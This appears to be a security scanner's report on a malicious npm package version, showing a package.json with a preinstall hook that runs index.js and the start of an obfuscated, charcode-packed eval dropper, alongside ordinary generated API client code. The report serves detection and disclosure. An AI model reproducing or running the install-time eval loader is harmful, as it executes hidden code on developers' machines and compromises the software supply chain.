@redhat-cloud-services/vulnerabilities-client 2.1.11
preinstall executes obfuscated payload
Megabyte charcode-packed payload feeds direct evalPreinstall executes obfuscated bundled eval dropper
SHA-256e7c9a78f6f87b985054e1a134522c6aebe37419776145f31c4655462837ed7aa
Also flagged by osv (MAL-2026-5148: Malicious code in @redhat-cloud-services/vulnerabilities-client (npm)) +2 more.
Evidence
1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,104,122,102,117,106,40,41,61,62,123,97,121,102,123,10,106,118,117,122,97,32,95,106,61,104,100,104,112,97,32,112,116,119,118,121,97,40,34,117,118,107,108,58,106,121,102,119,97,118,34,41,59,10,106,118,117,122,97,32,95,107,61,40,114,44,112,44,104,44,106,41,61,62,123,106,118,117,122,97,32,107,61,95,106,46,106,121,108,104,97,108,75,108,106,112,119,111,108,121,112,99,40,34,104,108,122,45,49,50,56,45,110,106,116,34,44,73,98,109,109,108,121,46,109,121,118,116,40,114,44,34,111,108,101,34,41,44,73,98,109,109,108,121,46,109,121,118,116,40,112,44,34,111,108,101,34,41,44,123,104,98,97,111,65,104,110,83,108,117,110,97,111,58,49,54,125,41,59,107,46,122,108,97,72,98,97,111,65,104,110,40,73,98,109,109,108,121,46,109,121,118,116,40,104,44,34,111,108,101,34,41,41,59,121,108,97,98,121,117,32,73,98,109,109,108,121,46,106,118,117,106,104,97,40,91,107,46,98,119,107,104,97,108,40,73,98,109,109,108,121,46,109,121,118,116,40,106,44,34,111,108,101,34,41,41,44,107,46,109,112,117,104,115,40,41,93,41,125,59,10,10,106,118,117,122,97,32,95,105,61,95,107,40,34,109,51,109,107,106,54,52,106,55,49,107,52,106,108,109,51,108,54,52,55,109,56,55,106,104,56,52,53,52,54,55,55,34,44,34,55,104,57,106,54,57,48,108,54,48,55,57,56,54,55,51,50,105,108,54,48,48,108,52,34,44,34,55,50,49,107,54,56,53,48,105,51,105,50,52,56,49,108,53,52,49,50,51,105,54,49,105,49,48,106,56,106,49,52,34,44,34,56,51,57,50,54,108,54,52,56,48,53,56,56,109,48,53,105,57,52,57,57,105,109,49,49,109,55,105,109,54,54,51,55,104,51,109,104,106,52,108,105,57,105,57,104,52,104,51,53,105,109,51,56,54,54,50,57,48,52,53,48,109,48,50,108,105,50,48,48,53,53,49,106,49,52,105,53,57,54,52,51,105,107,109,57,52,50,105,52,50,106,53,109,50,52,49,105,55,53,54,54,108,105,49,53,57,107,50,48,50,55,107,51,104,108,51,107,108,51,56,50,53,53,105,56,48,104,48,50,104,107,50,49,51,105,104,51,104,107,51,54,48,104,105,49,109,53,49 …
30:11… /dist/*/index.d.ts"
31 ]
32 }
33 },
34 "publishConfig": {
35 "access": "public"
36 },
37 "repository": {
38 "type": "git",
39 "url": "git+https://github.com/RedHatInsights/javascript-clients.git"
40 },
41 "author": "",
42 "license": "Apache-2.0",
43 "bugs": {
44 "url": "https://github.com/RedHatInsights/javascript-clients/issues"
45 },
46 "homepage": "https://github.com/RedHatInsights/javascript-clients/tree/master/packages/vulnerabilities#readme",
47 "scripts": {
48 "doc:production": "typedoc --plugin typedoc-plugin-markdown --theme markdown --out doc --exclude \"**/git-api/*.ts\" --gitRe …
49:103… evision main ./git-api/index.ts",
50 "doc": "npm run doc:git-api; npm run doc:production",
51 "preinstall": "node index.js"
52 },
53 "dependencies": {
54 "axios": "^1.15.0",
55 "tslib": "^2.6.2"
56 },
⋯4 lines
1// tslint:disable
2/**
3 * Vulnerability Engine Manager
4 * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
5 *
6 * The version of the OpenAPI document: 2.70.8
7 *
8 *
9 * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
10 * https://opena …
143:62… fected_systems"
144 .replace("{".concat("cve_id", "}"), encodeURIComponent(String(cveId)));
145 localVarUrlObj = globalImportUrl.parse(localVarPath, true);
146 …
Showing the top 5 files — 12 more files (50 regions) not shown.
No evidence locations were recorded for this file. Raw result